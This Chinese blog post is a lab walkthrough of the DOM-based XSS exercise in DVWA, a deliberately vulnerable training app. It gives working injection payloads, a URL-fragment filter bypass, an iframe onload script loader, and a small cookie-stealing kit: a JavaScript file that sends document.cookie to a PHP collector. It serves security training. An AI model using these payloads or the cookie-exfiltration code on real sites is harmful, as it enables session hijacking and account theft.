【DVWA(六)】XXS DOM跨站攻击


XSS DOM跨站攻击(DOM Based Cross Site Scripting)

前言:

DOM,全称Document Object Model,是一个平台和语言都中立的接口,可以使程序和脚本能够动态访问和更新文档的内容、结构以及样式。DOM型XSS其实是一种特殊类型的反射型XSS,它是基于DOM文档对象模型的一种漏洞。

DOM与前两种XSS跨站攻击(反射型、存储型)不同之处在于:不与后台服务器有数据


low:

1.观察:

下拉option的形式,查看html代码

<script>
    if (document.location.href.indexOf("default=") >= 0) {
        var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
        document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");
        document.write("<option value='' disabled='disabled'>----</option>");
    }
    document.write("<option value='English'>English</option>");
    document.write("<option value='French'>French</option>");
    document.write("<option value='Spanish'>Spanish</option>");
    document.write("<option value='German'>German</option>");
</script>
<option value="English">English</option>
<option value="" disabled="disabled">----</option>
<option value="English">English</option>
<option value="French">French</option>
<option value="Spanish">Spanish</option>
<option value="German">German</option>

可以发现四个选项,英语默认选项

2.使用hackbar load网址查看:

发现结构简单,default=后可以添加脚本

3.尝试:

http://127.0.0.1/dvwa/vulnerabilities/xss_d/?default=<script>alert("test")</script>

execute执行发现弹出alert

此时html中多了个选项option

4.窃取cookie准备工作:

www文件夹下继续使用上一篇随笔的php文件和js文件:
get_low_dvwa_cookie.php:

<?php

$cookie=$_GET['cookie'];
file_put_contents('get_low_dvwa_cookie.txt',$cookie);

?>

steal.js:

document.location='http://127.0.0.1/get_low_dvwa_cookie.php?cookie='+document.cookie;

5.添加脚本:

在default=后添加: <script src="http://127.0.0.1/steal.js"></script> 

6.执行:

会发现已经获取了cookie并保存在文件中


medium:

1.尝试<script>、大小写组合、<scr<script>ipt>:

发现不行,并不会执行,没有变化,此时查看HTML代码,发现并没有插入到option中,肯定是过滤掉了script标签

2.第一种方法#:

在#之后的不传到服务器,可以绕过,所以网址变为

http://127.0.0.1/dvwa/vulnerabilities/xss_d/?#default=<script src="http://127.0.0.1/steal.js"></script>

3.第二种方法:

尝试iframe标签

<iframe onload="var b= document.createElement('script'); 
b.setAttribute('src','http://127.0.0.1/steal.js');
document.getElementsByTagName('head')[0].appendChild(b);"
>


发现选项变了,但是没执行,查看HTML代码发现只有value,没有代码,缺少闭合

4.对iframe前的标签进行闭合:

</option></select>
<
iframe onload="var b= document.createElement('script');
b.setAttribute('src','http://127.0.0.1/steal.js');
document.getElementsByTagName('head')[0].appendChild(b);"
>

执行,成功!


high:

1.先尝试#绕过

http://127.0.0.1/dvwa/vulnerabilities/xss_d/?#default=<script src="http://127.0.0.1/steal.js"></script>

哦吼,可行!

2.比对三等级的源代码

通过对比服务器php源代码就可以看出刚刚的绕过的依据了。

low:

<?php

# No protections, anything goes

?> 

没有进行任何处理;
medium:

<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
    $default = $_GET['default'];
    
    # Do not allow script tags
    if (stripos ($default, "<script") !== false) {
        header ("location: ?default=English");
        exit;
    }
}

?> 

先判断输入是否空,不空就赋值到default,然后判断script标签,大小写都不管用,因此服务器绕过和换标签都可以;
high:

<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {

    # White list the allowable languages
    switch ($_GET['default']) {
        case "French":
        case "English":
        case "German":
        case "Spanish":
            # ok
            break;
        default:
            header ("location: ?default=English");
            exit;
    }
}

?> 

与服务器交互,只有跟选项匹配才行,因此使用#轻易绕过;


impossible:

依旧无解,查看服务器php源码:

<?php

# Don't need to do anything, protction handled on the client side

?> 

后记:

发现一个XSS跨站攻击的网站,挺酷的。https://alf.nu/alert1

原文地址:https://www.cnblogs.com/wayne-tao/p/11084981.html